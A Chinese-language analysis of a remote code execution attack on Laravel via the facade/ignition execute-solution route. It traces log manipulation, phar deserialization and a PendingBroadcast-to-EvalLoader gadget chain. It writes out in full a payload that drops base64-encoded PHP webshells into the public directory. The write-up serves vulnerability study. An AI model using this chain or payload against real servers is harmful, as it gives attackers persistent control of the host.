Illuminate\Broadcasting\PendingBroadcast 类是一个用于定义和管理广播事件(BroadcastEvent)的类。通过构造函数传递的事件对象来定义要广播的事件。
Illuminate\Bus\Dispatcher 类是 Laravel 中的命令总线(Command Bus)实现的类。这个类负责接收和分发待处理的广播事件到相应的广播者(Broadcast Event)。
Mockery\Loader\EvalLoader 类是 Laravel 测试框架所使用的一个库。这个类负责加载 ‘Mockery’ 库的一些定义以及动态地生成测试用的模拟对象。
Illuminate\Broadcasting\BroadcastEvent 类是一个实现了广播事件接口的类。它定义了广播事件的属性和行为,例如连接名称等。
Mockery\Generator\MockDefinition 类是一个用于定义和配置模拟对象的类。它包含了模拟对象的代码和配置信息。
Mockery\Generator\MockConfiguration 类是 Mockery 库用于生成模拟对象时的配置类。它定义了模拟对象的名称等配置信息。

Laravel走了什么流程导致中招的?

清空日志:
1. facade/ignition组件是以扩展的形式使用的,laravel加载扩展包情况如下:
服务提供者 将你的扩展包和 Laravel 联系在一起。服务提供者负责将事物绑定到 Laravel 服务容器 中,并告诉 Laravel 从哪里加载扩展包的资源文件,例如视图、配置文件、语言包等。
服务提供者继承了 Illuminate\Support\ServiceProvider 类,并包含两个方法: register 和 boot。基类 ServiceProvider 位于 Composer 扩展包的 illuminate/support 中,你必须将它添加到你的扩展包依赖项中。
2. 此时就到了vendor/facade/ignition/src/IgnitionServiceProvider.php的register方法中。
3. 依据laravel加载扩展规则,boot方法也会在调用register方法的后续的阶段中调用。
4. boot方法调用了registerHousekeepingRoutes方法。
5. registerHousekeepingRoutes方法声明了一些路由,其中有一个execute-solution路由。
6. execute-solution路由调用了ExecuteSolutionController控制器,然而这个路由未声明调用控制器哪的方法,但是出现了一个__invoke魔术方法。当一个对象被作为函数(方法)调用时,PHP 会查找该对象是否实现了 __invoke 方法。如果实现了该方法,PHP 将调用此方法,并将传入的参数传递给 __invoke 方法,此时路由的参数2可能是当做了方法调用,因此invoke方法被调用。
7. 在__invoke方法被调用时,利用反射实例化了SolutionProviderRepository对象,并在接下来的过程中调用了getRunnableSolution方法。
8. 在getRunnableSolution方法中,调用了getSolution方法。
9. 在getSolution方法中,通过接收传递过来的solution项中获取Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution对象。
10. 在getRunnableSolution方法中,getSolution方法的结果赋值给$solution变量,并判断是否是可运行的解决方案,之后返回。
11. 此时可得,$solution = $request->getRunnableSolution()就是Facade\Ignition\Solutions\MakeViewVariableOptionalSolution对象。
12. 此时已经到了ExecuteSolutionController控制器__invoke方法中的run方法。调用了Facade\Ignition\Solutions\MakeViewVariableOptionalSolution对象的run方法,走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中的makeOptional方法,上游文章已说明,不在赘述。
13. 接着走到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php文件,run方法中的file_put_contents方法,进行了未经严格过滤的的写操作。

添加偏移量:原理同上。

植入编码后的漏洞代码:部分同上,代码执行到vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法就会报错,报错的日志,刚好携带着编码后的漏洞代码植入到了日志当中。

格式化:原理同上。

反序列化流程:
1. 部分流程同上,此时到了vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中makeOptional方法的file_get_contents()方法,使用phar的伪协议调用了格式化后的日志文件,把日志当做phar文件执行,开始走序列化日志里面的代码。
2. 序列化Illuminate\Broadcasting\PendingBroadcast,并在构造函数中传递一个 Illuminate\Bus\Dispatcher,和Illuminate\Broadcasting\BroadcastEvent对象。其中vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php文件中的via(),toOthers()方法都未被执行,只执行了__destruct()方法。
3. __destruct()方法中的流程,实际是将Illuminate\Broadcasting\BroadcastEvent对象传入了Illuminate\Bus\Dispatcher对象的dispatch方法。
4. Illuminate\Broadcasting\BroadcastEvent并没有connection属性,没有__wakeup()和__desctuct()方法,此处标记为甲。然后看Mockery\Generator\MockDefinition对象,传入了Mockery\Generator\MockConfiguration对象,和<?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?>的一句话木马,这里base64是为了方便编码,原生的需要转义,Mockery\Generator\MockConfiguration传入了一个受保护的成员属性name,值为abcdefg,此处标记为乙。
5. 然后后回过头看Illuminate\Bus\Dispatcher,受保护的属性queueResolver传递的是Mockery\Loader\EvalLoader对象,上游已经说了,Illuminate\Broadcasting\BroadcastEvent对象传入了Illuminate\Bus\Dispatcher对象的dispatch方法,也就是调用了Illuminate\Bus\Dispatcher的dispatch()方法,$command参数就是Illuminate\Broadcasting\BroadcastEvent对象。
6. Illuminate\Bus\Dispatcher的dispatch()方法中,$this->queueResolver是存在的,并且Illuminate\Broadcasting\BroadcastEvent instanceof ShouldQueue是true,所以调用了Illuminate\Bus\Dispatcher下的dispatchToQueue()方法。
7. 上文说到了甲,原本是没有connection属性的,结果被硬是被反序列化添加上了这个属性,流程走到了$queue = call_user_func($this->queueResolver, $connection);
8. 为了彻底理清楚对象,将其参与者打印了出来。{"command":"Illuminate\\Broadcasting\\BroadcastEvent","connection":"Mockery\\Generator\\MockDefinition","queueResolver":[{"Mockery\\Loader\\EvalLoader":[]},"load"]} 
9. 于是可以转化成$queue = call_user_func([{"Mockery\\Loader\\EvalLoader":[]},"load"], Mockery\\Generator\\MockDefinition);
10.在Mockery\Loader\EvalLoader的load方法中,传入了Mockery\Generator\MockDefinition对象,此时输出$definition->getClassName()得到的是abcdefg,正是前文的乙所序列化的数据。
10. 此时已经绕过了判断类是否存在的验证,之后就是调用$definition->getCode()方法,$definition对象的由来前文已经说明,正是前文的乙所序列化的数据。利用EvalLoader自带的eval函数执行恶意的payload,拼接如下结果:?><?php $c='echo PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+| base64 -d > /Host/laravel/public/server.php';system($c);exec($c);shell_exec($c);eval('file_put_contents("/Host/laravel/public/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+"));'); exit; ?> 
11. ?>符号不影响eval执行,eval关键字被执行后,在项目根目录下生成了两个一句话木马文件,至此反序列化漏洞利用完成,服务器沦陷,黑客攻击成功,演示完毕。